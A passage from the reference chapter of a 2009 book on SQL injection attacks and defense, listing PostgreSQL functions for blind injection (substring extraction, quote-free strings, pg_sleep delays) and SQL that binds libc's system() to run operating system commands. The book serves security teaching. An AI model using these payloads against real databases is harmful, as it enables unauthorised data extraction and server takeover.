SQL Injection Attacks and Defense - 2009

448 Chapter 10 • References
Blind SQL Injection Functions: PostgreSQL
Table 10.23 lists functions that are useful when performing blind SQL injection attacks.
Table 10.23 Blind SQL Injection Functions
Data
String length
Extract substring from a given string
String (‘ABC’) representation with
no single quotes
Trigger time delay
Query
LENGTH()
SUBSTRING(string,offset,length)
SELECT CHR(65)||CHR(66)||CHR(67);
SELECT pg_sleep(10);
-- Triggers a 10 second pause on
version 8.2 and above
Attacking the Database Server: PostgreSQL
PostgreSQL does not offer a built-in procedure for executing operating system commands.
However, it is possible to import functions such as system() from an external .dll or Shared
Object (.so) file. It is also possible to read local files via PostgreSQL using the COPY
statement.
System Command Execution
For PostgreSQL database servers prior to Version 8.2, you can use the following SQL to
import the system function from the standard UNIX libc library:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6',
'system' LANGUAGE 'C' STRICT;
The system function can then be called by executing the following SQL query:
SELECT system('command');
Current versions of Postgres require that external libraries be compiled with the
PostgreSQL PG_MODULE_MAGIC macro defined. To achieve code execution via this
method you will need to upload your own shared .so or .dll file with the appropriate
PG_MODULE_MAGIC macro enabled. See the following resource for further
information:
■■
www.postgresql.org/docs/8.2/static/xfunc-c.html#XFUNC-C-DYNLOAD